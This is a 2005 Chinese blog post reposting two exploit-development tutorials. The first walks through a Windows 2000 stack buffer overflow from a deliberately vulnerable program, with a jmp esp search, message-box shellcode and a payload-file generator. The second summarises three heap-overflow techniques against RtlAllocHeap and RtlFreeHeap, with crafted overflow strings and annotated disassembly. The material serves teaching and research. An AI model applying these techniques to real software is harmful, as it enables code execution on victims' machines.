Wednesday, February 16, 2005

 

Some notes on Windows buffer overflow - 1

1.
Windows2000缓冲区溢出入门

by Jason
from http://www.nsfocus.com

作者:Jason
整理:Backend < mailto: backend@nsfocus.com >
主页:http://www.nsfocus.com
日期:2000-04-12

前言

我在互联网上阅读过许多关于缓冲区溢出的文章。其中的绝大多数都是基于*NIX操作系统平台的。后来有幸拜读了ipxodi所著的《Windows系统下的堆栈溢出》(已刊登在绿盟网络安全月刊2000年第三期中),又碰巧看到了Jason先生的《Windows NT Buffer Overflow’s From Start to Finish》,得益匪浅。在翻译Jason先生的文章时,由于我的机器安装了Windows 2000 Server,在调试原文程序时发现细节略有出入。因此本文提供的有关源程序、动态链接库、偏移量等是以我在自己机器上调试为准。(对不同版本的动态链接库,都需要编程者自己调试。)

这篇文章应该属入门级。虽然比较简单,但对于Windows系统下的缓冲区溢出具有一定的通用性。例如,堆栈溢出地址的确定,跳转指令的查找和使用,溢出执行代码的编写,等等。只要发现Windows系统下存在缓冲区溢出漏洞的程序,基本上都可通过这些步骤进行攻击测试。但正如ipxodi所指出的,由于Windows下动态链接库的版本更新较快,一定要根据编程者的实际平台进行调试。在发布此类安全漏洞公告或溢出攻击程序时,源代码、系统平台和动态链接库的版本号都应该尽量列清楚。否则别人调试起来可能会头疼得很厉害。;)



调试、测试环境

Microsoft Visual C++ 6.0
Microsoft Windows 2000 Server (中文版,内部版本号:2195)



调试、测试过程

首先,写一个存在缓冲区溢出漏洞的应用程序。该程序可读取文件的内容,这样我们就能通过修改被读取文件的内容来使程序溢出。;-) 在Visual C++开发环境中创建一个新的控制台应用程序,选择”An Application that supports MFC”并单击”Finish”。(注:其实并不一定非是MFC应用程序不可,只不过是我自己的习惯而已。;-)))向这个应用程序中添加一些必要的代码,如下:

CWinApp theApp;

using namespace std;

void overflow(char* buff);

void overflow(char* buff)
{
CFile file;
CFileException er;
if(!file.Open(_T("overflow.txt"),CFile::modeRead,&er))
{
er.ReportError();
return;
}

int x = file.GetLength();
file.Read(buff,x);
}

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr < < _T("Fatal Error: MFC initialization failed") < < endl;
nRetCode = 1;
}
else
{
char buff[10];
overflow(buff);
}
return nRetCode;
}

  现在先来分析一下上面这段C++代码,找一找哪里有漏洞。这是一个MFC控制台应用程序,”main”函数与其它程序会有些不同,但工作机制基本一致。我们主要分析该函数中”else”那段代码。首先是第一行”char buff[10]”,定义了一个10字符长的本地变量。我们都知道,本地变量的内存空间是在堆栈里分配的。(如果你连这个都不知道,建议不要继续往下看了。:))然后是将buff变量作为参数调用overflow函数。好了,现在让我们分析overflow函数。首先是一个Cfile对象,然后是一个CfileException对象。接下来会试图以读权限打开当前目录下的文件”overflow.txt”。如果打开成功,则将该文件中的所有内容读取到buff数组变量中。发现了问题没有?buff变量只有10字符长。如果读取的文件内容长度是100时会发生什么问题呢?对了,“缓冲区溢出”!而且是在堆栈中发生的缓冲区溢出。在后面的测试中就能看到,我们利用这个漏洞能做些什么!;)现在让我们创建文本文件”overflow.txt”,并将它放到这个应用程序的project目录下。

在进行下一步前,先让我们探讨一下关于Windows NT/2000的内存结构。NT/2000的每一个进程都在启动时分配了4GB(0xFFFFFFFF)的虚拟内存。其中的某些部份实际上是由所有进程共享的,例如核心和设备驱动程序区域。但它们都会被映射到每个进程的虚拟地址空间里。实际上没有进程分配到4GB的物理内存,而是仅当需要时才分配物理内存。因此每一个进程都有各自的4GB虚拟内存,编址范围从0x00000000到0xFFFFFFFF。其中,0x00000000-0x0000FFFF是为NULL指针分配而保留的。访问该区域内存将导致“非法访问”错误。0x00010000-0x7FFEFFFF是用户进程空间。EXE文件的映像被加载到其中(起始地址0x00400000),DLL(动态链接库)也被加载到这部份空间。如果DLL或EXE的代码被装入到该范围的某些地址,就能够被执行。访问该区域中没有代码装入的地址将导致“非法访问”错误。0x7FFF0000-0x7FFFFFFF是保留区域,对此区域的任何访问都将导致“非法访问”错误。0x80000000-0xFFFFFFFF仅供操作系统使用。用于加载设备驱动程序和其它核心级代码。从用户级应用程序(ring 3)访问此区域将导致“非法访问”错误。

现在回到”overflow.txt”文件。现在我们将向这个文本文件中不断添加字符,直到弹出应用程序非法访问的系统对话框。在这里,填充什么字符是很重要的(原因待会就知道了)。我选择小写字母”a”来填充文本文件。我们已经知道缓冲区只有10字符长,那么先填充11个字符。(注意:以debug方式编译应用程序,否则结果可能会有所不同。)咦?没反应。我们继续填充字符……直到填充了18个字符应用程序才崩溃。但这个崩溃对我们的用处还不大。继续填充!当字符串长度为24时,运行程序并观察弹出的对话框信息:“”0x61616161”指令引用的”0x61616161”内存。该内存不能为”written”。”我想大家都应该知道”0x61”所代表的ASCII码是什么吧?;)如果你的机器安装了Visual C++,单击“取消”按钮就能够调试该应用程序。进入调试环境后,选择”view”菜单――”debug windows”――”registers”,可打开寄存器窗口。如果你对汇编一窍不通,建议先去找本汇编的书看看。在寄存器窗口里会看到EAX、EBS和EIP等寄存器的内容。EIP当然是最重要的了。EIP的内容就是程序下一步所要执行指令的地址。我们注意到ESP寄存器的值未被破坏,而且似乎离我们的buff变量不远。下一步我们需要找出ESP的值是从如何处理得到的。

现在开始会复杂些了(而这就是乐趣的源泉!:))。 在main函数的最后一行代码处设置断点,因为我们只关心这里所发生的事情。现在启动调试器,并让程序无故障运行到该断点。然后切换到反汇编窗口(按Alt+8,或单击”View”――”debug windows”――”disassembly”)。另外还要打开内存窗口和寄存器窗口。

0040155B 5F pop edi
0040155C 5E pop esi
0040155D 5B pop ebx
0040155E 83 C4 50 add esp,50h
00401561 3B EC cmp ebp,esp
00401563 E8 7E 00 00 00 call _chkesp (004015e6)
00401568 8B E5 mov esp,ebp
0040156A 5D pop ebp
0040156B C3 ret

以上这些东西是什么?汇编代码。如果你对汇编一点都不懂,我在这里做一些简单的说明。第一行是”pop edi”。指令pop用于将仅次于堆栈顶端的数据移到其后的指定寄存器中。需要注意的是ESP寄存器。ESP是32位堆栈指针。一个pop指令移动堆栈顶端的一个数据单元,在这里是DWORD(双字,4字节),到指定寄存器中,并将堆栈指针加4(因为共移动了4字节)。在执行下一步前,让我们看一下ESP寄存器。在内存窗口中输入ESP,就能得到ESP当前指向的地址和内容。看一下ESP指向的内存地址中4个字节的内容和EDI寄存器的内容。现在单步执行”pop.edi”,我们能够看到EDI寄存器中填入了ESP所指向的内存地址的数值,同时ESP的数值也增加了4。后面的两条指令是一样的,只不过寄存器不同罢了。单步执行它们。跟着的三行指令对本文没什么意义,所以在这里不作解释。单步执行到指令”mov esp, ebp”,该指令会将EBP的值赋给ESP寄存器。然后是指令”pop ebp”,这条指令很重要。先让我们在内存窗口输入ESP,可以看到该内存地址有一串”0x61”(’a’的16进制值)。因此0x61616161将被弹出到EBP寄存器中。单步执行该指令可以检验我说的没错吧?;)好了,虽然我说的没错,但好象我们还没能得到什么有用的东西?现在到了最后一条指令”ret”。指令”ret”在汇编中是返回指令。它是如何知道应该返回到哪里的呢?由当前位于堆栈顶端的数值决定。这条指令如果用pop指令表示的话可以表示为”pop eip”(虽然实际上你无法执行这条pop指令;))。它从ESP所指向内存地址处弹出4字节内容,并赋给EIP寄存器(EIP寄存器是32位指令指针)。这就意味着,不管EIP指向哪个内存地址,该地址处的指令将总会成为下一条指令。我们再次在内存窗口中输入ESP,看一下将要赋给EIP寄存器的地址的指令是什么。其实我想此时大家都应该知道是4个字节长的0x61串。现在让我们单步执行该指令,看到EIP的值为0x61616161,也就是说下一指令地址为0x61616161,但指令却显示为???(意为无效指令)。因此再单步执行指令将导致“访问非法”错误。现在再看看ESP寄存器。它正确地指向了堆栈中的下一个数值。也就是说,下一步工作是确定在使缓冲区成功溢出(EIP=0x61616161)时,ESP所指向的地址是否能够存放我们的溢出代码!我们在overflow.txt文件中再次增加4个’a’(共28个’a’),并再次调试程序,在执行到”ret”指令时观察内存窗口和寄存器窗口,会发现执行”ret”指令后ESP所指向内存地址的内容为4字节长的0x61串。Great!这意味着什么?!这个让大家自己想去吧。;)))

现在我再回过头来分析一下。我们刚才使用字符’a’(0x61)作为文本文件的填充内容,以确定存在缓冲区溢出。由于EIP=0x61616161,当我们的程序访问试图访问该地址处的指令时,会因为是无效指令而导致系统出错。但如果所指向的地址存在可执行代码时又如何呢?例如装入内存的DLL代码等。哈哈,这样的话就会执行这些指令,从而可能做一些别人想像不到的事!;)

好了,到目前为止,我们已经能控制EIP的数值,也知道ESP指向的堆栈位置,和能够向堆栈写入任意数据。那么下一步做什么呢?当然是找到使系统执行我们的溢出代码的方法了。如果你看过ipxodi所著的文章《Windows系统下的堆栈溢出》,就会知道采用跳转指令(jmp esp)是最好不过的了。原因在这里就不再多讲,请大家仔细阅读《Windows系统下的堆栈溢出》就清楚了。正如前面分析过的,这是因为执行完ret指令后ESP正好能够指向我们的溢出代码!(……哦,找不到,我没分析过?在本文中查找单词”Great”吧,呵呵。)现在我们就要在应用程序的内存空间中找到含有”jmp esp”指令的地址。首先当然是确定这条指令的机器码了。怎么确定?这也要教?好吧,教就教吧。仅此一次,下不违例。;)其实方法很简单,按以下步骤就可以了。先在Visual C++中创建新的应用程序。(当然还是控制台程序,还是支持MFC,这是我的习惯。呵呵。)输入以下代码:

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr < < _T("Fatal Error: MFC initialization failed") < < endl;
nRetCode = 1;
}
else
{
return 0;
__asm jmp esp
}
return nRetCode;
}

下一步是如何在我们的进程空间里找到这串机器码。也是非常简单的,只要修改一下代码即可:

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr < < _T("Fatal Error: MFC initialization failed") < < endl;
nRetCode = 1;
}
else
{
#if 0
return 0;
__asm jmp esp

#else

bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");

h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout< < "ERROR LOADING DLL: "< < dllname< < endl;
return 1;
}
we_loaded_it = true;
}

BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout< < "OPCODE found at 0x"< < hex< < pos< < endl;
}
}
catch(...)
{
cout< < "END OF "< < dllname< < " MEMORY REACHED"< < endl;
done = true;
}
}

if(we_loaded_it) FreeLibrary(h);
#endif
}
return nRetCode;
}

也许你会奇怪,为什么不用Kernel32.dll呢?它不是更通用吗?我刚开始时也是在动态链接库Kernel32的进程空间寻找”FF E4”,但居然一处也找不到!(而在Windows NT 4中找到能至少6处!:(()后来我尝试在User32.dll中寻找,终于找到了一处。运行后程序输出:

OPCODE found at 0x77e2e32a
END OF User32 MEMORY REACHED

注意,不同的动态链接库和版本,得到的结果可能会不一样。我的动态链接库User32.dll版本为5.00.2180.1。现在用16进制文件编辑器(如Ultra Edit)打开overflow.txt文本文件,在第21字符位置开始输入2A E3 E2 77。(为什么要在第21字符位置?为什么要输入2A E3 E2 77?我不想解释了,如果你连这都看不懂,建议你不要再研究缓冲区溢出了!)我们先保留后面的四个’a’字符。使用调试器运行程序,执行到”ret”命令处停下来,看看下一条指令是否为”jmp esp”,而且执行”jmp esp”前esp的内容是否为0x61616161。如果一切正确,OK, so far so good. ;)让我们来进行更刺激的事情――编写缓冲区溢出后的执行代码。

首先,你必须确保所有需要的动态链接库都被加载到进程空间中。一种方法是利用该程序本身调用的动态链接库;另一种方法是在溢出代码中加载该动态链接库。(在ipxodi的《Windows系统下的堆栈溢出》中有详细介绍。)在这里我采用第一种方法。为什么?因为简单嘛。;)

呵呵,为了编程简单,同时本文的主要目的是教学,重点在于原理,所以代码执行时仅是弹出一个消息框。如果想编写更具攻击性或更复杂的执行代码,可参阅ipxodi所著的《Windows系统下的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。不过,后果自负!

首先我们要找到如何在代码中调用MessageBox函数。根据Windows API文档,MessageBox依赖于user32.lib,也就是说它位于user32.dll动态链接库中。启动depends工具,打开将要被溢出的应用程序,可以发现它将加载user32.dll。然后寻找MessageBox函数的内存位置。在我机器的user32.dll中,MessageBoxA(ASCII版本)函数的偏移量(Entry Point)为0x00033D68。User32.dll在内存中的起始地址为0x77DF0000。将两者相加即可得到MessageBox函数的绝对内存地址为0x77E23D68。所以我们需要在汇编代码中正确设置堆栈并调用0x77E23D68。根据对Steve Fewer的winamp缓冲区溢出代码学习和研究,我写出来的汇编代码如下:

push ebp
push ecx
mov ebp,esp
sub esp,54h
xor ecx,ecx
mov byte ptr [ebp-14h],'S'
mov byte ptr [ebp-13h],'u'
mov byte ptr [ebp-12h],'c'
mov byte ptr [ebp-11h],'c'
mov byte ptr [ebp-10h],'e'
mov byte ptr [ebp-0Fh],'s'
mov byte ptr [ebp-0Eh],'s'
mov byte ptr [ebp-0Dh],cl
mov byte ptr [ebp-0Ch],'W'
mov byte ptr [ebp-0Bh],'e'
mov byte ptr [ebp-0Ah],' '
mov byte ptr [ebp-9],'G'
mov byte ptr [ebp-8],'o'
mov byte ptr [ebp-7],'t'
mov byte ptr [ebp-6],' '
mov byte ptr [ebp-5],'I'
mov byte ptr [ebp-4],'t'
mov byte ptr [ebp-3],'!'
mov byte ptr [ebp-2],cl
push ecx
lea eax,[ebp-14h]
push eax
lea eax,[ebp-0Ch]
push eax
push ecx
mov dword ptr [ebp-18h],0x 77E23D68
call dword ptr[ebp-18h]
mov esp,ebp
pop ecx
pop ebp

以上汇编代码将调用位于0x77E23D68的MessageBox函数,使其弹出标题为”Success”、消息内容为”We Got It!”的消息框。必须要注意的是,我们不能使用0(NULL)作为字符串中的字符,解决方法请参考ipxodi所著的《Windows系统下的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。现在,我们要得到这些汇编代码的机器码。方法前面已经介绍过了,不再重复。最后整理得到的机器码为:

\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45
\xee\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73\x88\x4d
\xf3\xc6\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6\x45\xf8
\x6f\xc6\x45\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd
\x21\x88\x4d\xfe\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x68\x3d
\xe2\x77\xff\x55\xe8\x8b\xe5\x59\x5d

如果现在将这输入到overflow.txt文件中,将能够成功溢出,并弹出我们定制的消息框。但当单击”确定”按钮后,应用程序将崩溃。要避免出现这种情况,我们需要调用exit函数以正常关闭程序。查阅Windows API文档可知,需要导入msvcrt.lib,因此肯定在msvcrt.dll动态链接库中。使用depends工具会发现应用程序加载了msvcrtd.dll而不是msvcrt.dll,这是因为我们应用程序现在使用的是调试版本。但两者没太多区别。Msvcrtd.dll在内存中的起始地址为0x10200000,exit函数的偏移量(Entry Point)为0x0000AF90,则exit函数的绝对地址为0x1020AF90。故汇编代码为:

push ebp
push ecx
mov ebp,esp
sub esp,10h
xor ecx,ecx
push ecx
mov dword ptr [ebp-4],0x1020AF90
call dword ptr[ebp-4]
mov esp,ebp
pop ecx
pop ebp

以上代码以0为参数调用exit函数,使应用程序以代码0退出运行。整理后得到的机器码如下:

\x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff\x55\xfc\x8b\xe5\x59\x5d

现在将上面两串机器码输入到overflow.txt文件中(以第25个字节为起始位置。这次不用问为什么了吧?!如果还不懂,复习一下前面的内容!)

如果你嫌麻烦,可以使用以下程序(怎么样,够朋友了吧?;)):

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
cerr < < _T("Fatal Error: MFC initialization failed") < < endl;
nRetCode = 1;
}
else
{
char buffer[20];
//0x77e2e32a //user32.dll JMP ESP
char eip[] = "\x2a\xe3\xe2\x77";
char sploit[] = "\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45\xee"
"\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73\x88\x4d\xf3\xc6"
"\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6\x45\xf8\x6f\xc6\x45"
"\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd\x21\x88\x4d\xfe"
"\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x68\x3d\xe2\x77\xff\x55\xe8\x8b"
"\xe5\x59\x5d\x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff"
"\x55\xfc\x8b\xe5\x59\x5d";

for(int x=0;x< 20;x++)
{
buffer[x] = 0x90;
}

CFile file;
file.Open("overflow.txt",CFile::modeCreate | CFile::modeWrite);

file.Write(buffer,20);
file.Write(eip,strlen(eip));
file.Write(sploit,strlen(sploit));

file.Close();
}

return nRetCode;
}

在确保所有文件的内容和位置都准确无误后,运行被溢出程序…………哈哈,我们的消息框弹出来了!!!单击”确定”按钮,程序正常关闭!!!

后记

最近访问国外的安全站点、黑客站点,发现国外越来越多地关注Windows系统的安全,研究Windows系统漏洞的也越来越多,包括L0pht、Cerberus等。特别是在一些黑客性质很重的站点,针对Windows 9x/NT/2k的攻击程序一堆堆的。真的有点不敢想像,如果Micro$oft公开所有Windows的源代码,会有多少安全漏洞被发现。而我想,根据国内使用Windows平台的普遍性,问题将会更加严重。因此我觉得国内对Windows的安全性研究应该抓得更紧些!虽然实际情况令人沮丧……:(

这篇文章本来不打算整理的,因为我自己也是刚开始研究Windows系统下的缓冲区溢出,掌握的东西不多,担心被Windows高手取笑。后来倒是自己想通了:只有“班门弄斧”,才能知道自己的不足,才能更快地取得进步。希望众Windows高手、黑客高手多多指教。象我们绿色兵团里的ipxodi、袁哥、zer9等,都是Windows平台下的安全专家,如果本文能起到“抛砖引玉”的作用,我便很满足了。:)

2.
总结windows下堆溢出的三种利用方式
作者:Leven
出处:https://www.xfocus.net/bbs/index.php?act=ST&f=3&t=34455

2.1.利用RtlAllocHeap
这是ISNO提到的,看这个例子

main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x01\x08\x00\x11\x11\x11\x11\x21\x21\x21\x21";

buf1 = (char*)malloc (32); /* 分配两块内存 */
memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

buf2 = (char*)malloc (16);

free (buf1);
free (buf2);

return 0;
}

在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)

在给buf2完成malloc之后,buf1指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|buf2的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes)

现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了
下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)
共16个字节的时候,就会造成buf2的RtlAllocHeap操作异常。原因看RtlAllocHeap的这段代码

001B:77FCC453 8901 MOV [ECX],EAX
001B:77FCC455 894804 MOV [EAX+04],ECX

此时ECX指向两个双链表指针(8bytes)的后一个指针(0x21212121),EAX指向前一个指针(0x11111111)。类似于format string溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在buf2分配空间之前buf1有溢出的机会

2.2.利用RtlFreeHeap的方式一
这是ilsy提到的,看例子

main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x09";

buf1 = (char*)malloc (32); /* 分配两块内存 */
buf2 = (char*)malloc (16);

memcpy (buf1, s, 32+6); /* 这里多复制6个字节 */

free (buf1);
free (buf2);

return 0;
}

由于buf1多复制了6个字节,这6个字节会覆盖掉buf2的管理结构,在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的

先看看8字节管理结构的定义(从windows源码中找到)
typedef struct _HEAP_ENTRY {

//
// This field gives the size of the current block in allocation
// granularity units. (i.e. Size << HEAP_GRANULARITY_SHIFT
// equals the size in bytes).
//
// Except if this is part of a virtual alloc block then this
// value is the difference between the commit size in the virtual
// alloc entry and the what the user asked for.
//

USHORT Size;

//
// This field gives the size of the previous block in allocation
// granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT
// equals the size of the previous block in bytes).
//

USHORT PreviousSize;

//
// This field contains the index into the segment that controls
// the memory for this block.
//

UCHAR SegmentIndex;

//
// This field contains various flag bits associated with this block.
// Currently these are:
//
// 0x01 - HEAP_ENTRY_BUSY
// 0x02 - HEAP_ENTRY_EXTRA_PRESENT
// 0x04 - HEAP_ENTRY_FILL_PATTERN
// 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
// 0x10 - HEAP_ENTRY_LAST_ENTRY
// 0x20 - HEAP_ENTRY_SETTABLE_FLAG1
// 0x40 - HEAP_ENTRY_SETTABLE_FLAG2
// 0x80 - HEAP_ENTRY_SETTABLE_FLAG3
//

UCHAR Flags;

//
// This field contains the number of unused bytes at the end of this
// block that were not actually allocated. Used to compute exact
// size requested prior to rounding requested size to allocation
// granularity. Also used for tail checking purposes.
//

UCHAR UnusedBytes;

//
// Small (8 bit) tag indexes can go here.
//

UCHAR SmallTagIndex;

#if defined(_WIN64)
ULONGLONG Reserved1;
#endif

} HEAP_ENTRY, *PHEAP_ENTRY;

就是

本堆的size(2bytes)|上一个堆的size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)

注意这里的size是实际大小进行8字节对齐后除以8的值
可以看看flag的各个定义

再看看RtlFreeHeap里面几个关键的地方

关键点一
001B:77FCC829 8A4605 MOV AL,[ESI+05] //esi指向buf2的8字节管理结构的起始地址,al即flag
001B:77FCC82C A801 TEST AL,01 //flag值是否含有HEAP_ENTRY_BUSY
001B:77FCC82E 0F84A40E0000 JZ 77FCD6D8 //不含则跳转。这里不能跳
001B:77FCC834 F6C207 TEST DL,07
001B:77FCC837 0F859B0E0000 JNZ 77FCD6D8
001B:77FCC83D 807E0440 CMP BYTE PTR [ESI+04],40 //esi+4是否大于0x40
001B:77FCC841 0F83910E0000 JAE 77FCD6D8 //大于等于则跳转,这里不能跳
001B:77FCC847 834DFCFF OR DWORD PTR [EBP-04],-01
001B:77FCC84B A8E0 TEST AL,E0 //flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3
001B:77FCC84D 754A JNZ 77FCC899 //只要含有一个就跳,这里不重要
001B:77FCC84F 8B8F80050000 MOV ECX,[EDI+00000580]
001B:77FCC855 85C9 TEST ECX,ECX
001B:77FCC857 7440 JZ 77FCC899 //这里必然会跳

关键点二
001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001
001B:77FCC8A0 F6C301 TEST BL,01
001B:77FCC8A3 750F JNZ 77FCC8B4 //这里必然会跳
001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]
001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection
001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01
001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有则跳,这里要跳

关键点三
001B:77FCBB49 83C6E8 ADD ESI,-18 //ilsy说在不同的windows版本上这个0x18的是不同的
001B:77FCBB4C 89759C MOV [EBP-64],ESI
001B:77FCBB4F 8B06 MOV EAX,[ESI]
001B:77FCBB51 894598 MOV [EBP-68],EAX
001B:77FCBB54 8B7604 MOV ESI,[ESI+04]
001B:77FCBB57 897594 MOV [EBP-6C],ESI
001B:77FCBB5A 8906 MOV [ESI],EAX //这里会操作异常

我们看到最后操作异常的时候EAX=0X61616161,ESI=0X61616161,正好是buf1里的值,就是将buf2的起始地址减去0x18的地址的数据复制到之后

的数据所指向的地址。我们可以控制这两个数据。
可见第二种方式的前提有三个:
1)构造堆(buf2)的flag必须含有HEAP_ENTRY_BUSY和HEAP_ENTRY_VIRTUAL_ALLOC,可以设成0xff
2)构造堆的flag前面那个字节要比0x40小
3)构造堆的上一个堆(即buf1)的长度必须大于或等于0x18+0x08即32个字节,否则在关键点三处,ESI会指向我们不能控制的区域,造成利用失败
还有ilsy提到字节构造的8字节管理结构的第一个字节必须大于0x80,在我的机器上并没有必要(windows2000pro cn+sp4),他用0x99,我用0x03,也能成功利用

2.3.利用RtlFreeHeap的方式二

这是我研究堆溢出发现的第一种异常情况,之前不明就里,花了2个小时看了几篇帖子之后,认为这是unlink本堆块时发生的异常。
看例子

main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x00\x08\x00\x11\x11\x11\x11\x22\x22\x22\x22";

buf1 = (char*)malloc (32); /* 分配两块内存 */
buf2 = (char*)malloc (16);

memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

free (buf1);
free (buf2);

return 0;
}

看起来和方式二很象,不过运行之后会发现,不同于上面提到的,这里在free(buf1)时就出现异常。同样再看看RtlFreeHeap的几个关键点

关键点一
同方式二的关键点一,设法跳到关键点二

关键点二
001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001
001B:77FCC8A0 F6C301 TEST BL,01
001B:77FCC8A3 750F JNZ 77FCC8B4
001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]
001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection
001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01
001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有则跳,这里不能跳
001B:77FCC8BE 0FB706 MOVZX EAX,WORD PTR [ESI]
001B:77FCC8C1 8945D0 MOV [EBP-30],EAX
001B:77FCC8C4 F6470C80 TEST BYTE PTR [EDI+0C],80
001B:77FCC8C8 7515 JNZ 77FCC8DF
001B:77FCC8CA 6A00 PUSH 00
001B:77FCC8CC 8D45D0 LEA EAX,[EBP-30]
001B:77FCC8CF 50 PUSH EAX
001B:77FCC8D0 56 PUSH ESI
001B:77FCC8D1 57 PUSH EDI
001B:77FCC8D2 E8EA000000 CALL 77FCC9C1 //进入这个CALL

关键点三
001B:77FCC9C1 55 PUSH EBP
001B:77FCC9C2 8BEC MOV EBP,ESP
001B:77FCC9C4 53 PUSH EBX
001B:77FCC9C5 56 PUSH ESI
001B:77FCC9C6 8B750C MOV ESI,[EBP+0C]
001B:77FCC9C9 8B5D08 MOV EBX,[EBP+08]
001B:77FCC9CC 57 PUSH EDI
001B:77FCC9CD 8BFE MOV EDI,ESI //ESI指向buf1的起始地址
001B:77FCC9CF 0FB74602 MOVZX EAX,WORD PTR [ESI+02] //将buf1之前的堆的长度放入EAX
001B:77FCC9D3 C1E003 SHL EAX,03 //乘以8得到实际大小
001B:77FCC9D6 2BF8 SUB EDI,EAX //EDI指向buf1之前的堆的起始地址
001B:77FCC9D8 3BFE CMP EDI,ESI
001B:77FCC9DA 740A JZ 77FCC9E6
001B:77FCC9DC F6470501 TEST BYTE PTR [EDI+05],01 //上一个堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9E0 0F8498E9FFFF JZ 77FCB37E //不能跳
001B:77FCC9E6 F6460510 TEST BYTE PTR [ESI+05],10 //上一个堆的flag是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCC9EA 750F JNZ 77FCC9FB //不能跳
001B:77FCC9EC 8B4510 MOV EAX,[EBP+10]
001B:77FCC9EF 8B00 MOV EAX,[EAX] //buf1的堆的长度
001B:77FCC9F1 F644C60501 TEST BYTE PTR [EAX*8+ESI+05],01 //buf2的堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9F6 8D3CC6 LEA EDI,[EAX*8+ESI] //EDI指向buf2的起始地址
001B:77FCC9F9 7409 JZ 77FCCA04 //不含则跳(合并空闲堆?),这里要跳
001B:77FCC9FB 8BC6 MOV EAX,ESI
001B:77FCC9FD 5F POP EDI
001B:77FCC9FE 5E POP ESI
001B:77FCC9FF 5B POP EBX
001B:77FCCA00 5D POP EBP
001B:77FCCA01 C21000 RET 0010
